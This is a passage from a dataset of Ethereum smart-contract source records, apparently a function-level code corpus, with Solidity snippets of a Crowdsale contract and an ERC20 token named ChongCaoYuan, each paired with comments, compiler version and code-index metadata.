return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
if(msg.sender!=wallet) throw;
tokenReward.transfer(wallet,_amount);
}
} | setWeiPerToken | function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
| // function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// } | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
1664,
1786
]
} | 520 |
|||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenReward;
// mapping (address => uint) public contributions;
// start and end timestamps where investments are allowed (both inclusive)
// uint256 public startTime;
// uint256 public endTime;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
//You will change this to your wallet where you need the ETH
wallet = 0x6a3a52fF68f684A6D8402F450d52275F41246253;
// durationInMinutes = _durationInMinutes;
//Here will come the checksum address we got
addressOfTokenUsedAsReward = 0x6A3777eB316ed485dd399628E8C0711eB8f5b0dB;
tokenReward = token(addressOfTokenUsedAsReward);
}
bool public started = true;
function startSale(){
if (msg.sender != wallet) throw;
started = true;
}
function stopSale(){
if(msg.sender != wallet) throw;
started = false;
}
// function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// }
function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
function changeWallet(address _wallet){
if(msg.sender != wallet) throw;
wallet = _wallet;
}
function changeTokenReward(address _token){
if(msg.sender!=wallet) throw;
tokenReward = token(_token);
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token `purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
// if(contributions[msg.sender].add(weiAmount)>10*10**18) throw;
// contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
if(msg.sender!=wallet) throw;
tokenReward.transfer(wallet,_amount);
}
} | function () payable {
buyTokens(msg.sender);
}
| // fallback function can be used to buy tokens | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
2072,
2129
]
} | 521 |
||||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenReward;
// mapping (address => uint) public contributions;
// start and end timestamps where investments are allowed (both inclusive)
// uint256 public startTime;
// uint256 public endTime;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
//You will change this to your wallet where you need the ETH
wallet = 0x6a3a52fF68f684A6D8402F450d52275F41246253;
// durationInMinutes = _durationInMinutes;
//Here will come the checksum address we got
addressOfTokenUsedAsReward = 0x6A3777eB316ed485dd399628E8C0711eB8f5b0dB;
tokenReward = token(addressOfTokenUsedAsReward);
}
bool public started = true;
function startSale(){
if (msg.sender != wallet) throw;
started = true;
}
function stopSale(){
if(msg.sender != wallet) throw;
started = false;
}
// function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// }
function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
function changeWallet(address _wallet){
if(msg.sender != wallet) throw;
wallet = _wallet;
}
function changeTokenReward(address _token){
if(msg.sender!=wallet) throw;
tokenReward = token(_token);
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token `purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
// if(contributions[msg.sender].add(weiAmount)>10*10**18) throw;
// contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
if(msg.sender!=wallet) throw;
tokenReward.transfer(wallet,_amount);
}
} | buyTokens | function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
// if(contributions[msg.sender].add(weiAmount)>10*10**18) throw;
// contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
| // low level token `purchase function | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
2173,
2898
]
} | 522 |
|||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenReward;
// mapping (address => uint) public contributions;
// start and end timestamps where investments are allowed (both inclusive)
// uint256 public startTime;
// uint256 public endTime;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
//You will change this to your wallet where you need the ETH
wallet = 0x6a3a52fF68f684A6D8402F450d52275F41246253;
// durationInMinutes = _durationInMinutes;
//Here will come the checksum address we got
addressOfTokenUsedAsReward = 0x6A3777eB316ed485dd399628E8C0711eB8f5b0dB;
tokenReward = token(addressOfTokenUsedAsReward);
}
bool public started = true;
function startSale(){
if (msg.sender != wallet) throw;
started = true;
}
function stopSale(){
if(msg.sender != wallet) throw;
started = false;
}
// function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// }
function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
function changeWallet(address _wallet){
if(msg.sender != wallet) throw;
wallet = _wallet;
}
function changeTokenReward(address _token){
if(msg.sender!=wallet) throw;
tokenReward = token(_token);
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token `purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
// if(contributions[msg.sender].add(weiAmount)>10*10**18) throw;
// contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
if(msg.sender!=wallet) throw;
tokenReward.transfer(wallet,_amount);
}
} | forwardFunds | function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
| // send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
3007,
3142
]
} | 523 |
|||
Crowdsale | Crowdsale.sol | 0xb33b80584a1c787dacac724c6933b537929ab0bc | Solidity | Crowdsale | contract Crowdsale {
using SafeMath for uint256;
// uint256 durationInMinutes;
// address where funds are collected
address public wallet;
// token address
address public addressOfTokenUsedAsReward;
// uint256 public price = 300;
uint256 public weiPerToken = 1787289880;
token tokenReward;
// mapping (address => uint) public contributions;
// start and end timestamps where investments are allowed (both inclusive)
// uint256 public startTime;
// uint256 public endTime;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale() {
//You will change this to your wallet where you need the ETH
wallet = 0x6a3a52fF68f684A6D8402F450d52275F41246253;
// durationInMinutes = _durationInMinutes;
//Here will come the checksum address we got
addressOfTokenUsedAsReward = 0x6A3777eB316ed485dd399628E8C0711eB8f5b0dB;
tokenReward = token(addressOfTokenUsedAsReward);
}
bool public started = true;
function startSale(){
if (msg.sender != wallet) throw;
started = true;
}
function stopSale(){
if(msg.sender != wallet) throw;
started = false;
}
// function setPrice(uint256 _price){
// if(msg.sender != wallet) throw;
// price = _price;
// }
function setWeiPerToken(uint256 _weiPerToken){
if(msg.sender!=wallet) throw;
weiPerToken = _weiPerToken;
}
function changeWallet(address _wallet){
if(msg.sender != wallet) throw;
wallet = _wallet;
}
function changeTokenReward(address _token){
if(msg.sender!=wallet) throw;
tokenReward = token(_token);
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token `purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be sent
uint256 tokens = ((weiAmount * (10**18)) / weiPerToken);//weiamount * price
// uint256 tokens = (weiAmount/10**(18-decimals)) * price;//weiamount * price
// update state
weiRaised = weiRaised.add(weiAmount);
// if(contributions[msg.sender].add(weiAmount)>10*10**18) throw;
// contributions[msg.sender] = contributions[msg.sender].add(weiAmount);
tokenReward.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
// wallet.transfer(msg.value);
if (!wallet.send(msg.value)) {
throw;
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function withdrawTokens(uint256 _amount) {
if(msg.sender!=wallet) throw;
tokenReward.transfer(wallet,_amount);
}
} | validPurchase | function validPurchase() internal constant returns (bool) {
bool withinPeriod = started;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
| // @return true if the transaction can buy tokens | LineComment | v0.4.19+commit.c4cbbb05 | bzzr://bd6b484d96f822a7af25115bf53fcf89342cd13d05d4fe659dc24b0259b4290f | {
"func_code_index": [
3198,
3388
]
} | 524 |
|||
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | Ownable | contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
} | /**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/ | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
| /**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
638,
819
]
} | 525 |
|
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | transfer | function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
| /**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
268,
618
]
} | 526 |
|
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | BasicToken | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
} | /**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
| /**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
824,
940
]
} | 527 |
|
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
| /**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
392,
946
]
} | 528 |
|
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
1578,
1773
]
} | 529 |
|
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | allowance | function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
| /**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.25+commit.59dbf8f1 | bzzr://6247b518a4ef15f39dd94441aa873d466456244d50b99efe8b727ff91b6e60ec | {
"func_code_index": [
2097,
2242
]
} | 530 |
|
ChongCaoYuan | ChongCaoYuan.sol | 0xa34d29cf8a06e8d05d22454cc33e5fbe7a3d3213 | Solidity | StandardToken | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | /**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/ | NatSpecMultiLine | increaseApproval | function increaseApproval (address _spender, uint _addedValue) public
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
